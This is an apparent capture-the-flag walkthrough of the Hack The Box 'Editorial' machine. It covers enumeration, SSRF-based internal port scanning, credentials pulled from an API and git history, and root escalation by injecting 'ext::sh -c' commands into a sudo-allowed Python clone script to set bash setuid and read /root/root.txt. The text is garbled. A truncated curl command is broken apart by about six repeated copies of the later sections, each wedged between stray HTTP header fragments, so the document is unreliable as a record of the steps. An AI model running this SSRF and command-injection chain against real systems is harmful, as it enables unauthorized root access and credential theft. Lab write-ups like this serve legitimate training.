Editorial

Enumeration

Let's start by enumerate all TCP ports with nmap.
nmap -sCV -p- --min-rate 1000 -T4 10.10.11.20
Pasted image 20240831181005.png
There is SSH (port 22) and nginx server (port 80). Let's explore nginx first.

Port 80

When i try to access http://10.10.11.20 i get a redirection to http://editorial.htb/ so let's add this domain to /etc/hosts and reload the page.
echo '10.10.11.20 editorial.htb' | sudo tee -a /etc/hosts
Pasted image 20240831181253.png
http://editorial.htb/
Pasted image 20240831181312.png
It's a simple page so let's find some hidden subdirectories first with gobuster.

Gobuster

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -u http://editorial.htb/ -x php -b 200,403,404
Pasted image 20240831182220.png
When i was searching for subdirectories i tried to use search function and it shows a /? subdirectory when i do the research so let's try to use ffuf tool to see what parameters we can see.

ffuf

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://editorial.htb/?FUZZ=value' -fs 31
Pasted image 20240831181908.png
Since i didn't find anything let's try to lookup for hddine subdomains.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://editorial.htb/ -H 'Host: FUZZ.board.htb' -fs 178
Pasted image 20240831182027.png
I didn't find nothing either so let's look with dirsearch tool.

dirsearch

dirsearch -u http://editorial.htb -e php
Pasted image 20240831182308.png
This time we found 2 subdirectories /about and /upload so let's check them.
http://editorial.htb/about
Pasted image 20240831182408.png
There isn't nothing interesting here so let's see the upload subdirectory.
http://editorial.htb/upload
Pasted image 20240831182432.png
After i submit a book it shows a response below the page.
Pasted image 20240831182716.png

When i open POST request on BurpSuite i notice a script on the response.
Pasted image 20240831183155.png

After i upload information i clicked on Preview button and i saw the location where the book info will be.
Pasted image 20240831183411.png
This present a Server Side Request Reforgery (SSRF) wich we will try to abuse it.

SSRF

When we add http://127.0.0.1 it appears the same response.
Pasted image 20240831183958.png
If we specify a port we can have another type of response so let's try to use Intruder from BurpSuite and run this POST request to all the ports.

SSRF Out of Bound

Let's use a command to look for localhost with a specific port to be capture by Burp Suite.
Pasted image 20240831185828.png
Now we send Post request to Repeater where we can copy as a bash command.
Pasted image 20240831185912.png
Now we edit the request to add FUZZ on port location so we can fuzzling from 1 to 65535.
Pasted image 20240831190109.png
Next we run ffuf command with /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt wordlist.

ffuf -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -fs 61 -u http://editorial.htb/upload-cover -X 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
POST' \
    -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Host: editorial.htb' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Accept: */*' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Accept-Language: en-US,en;q=0.5' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Accept-Encoding: gzip, deflate, br' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Content-Type: multipart/form-data; boundary=---------------------------27217155232498642852366456117' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
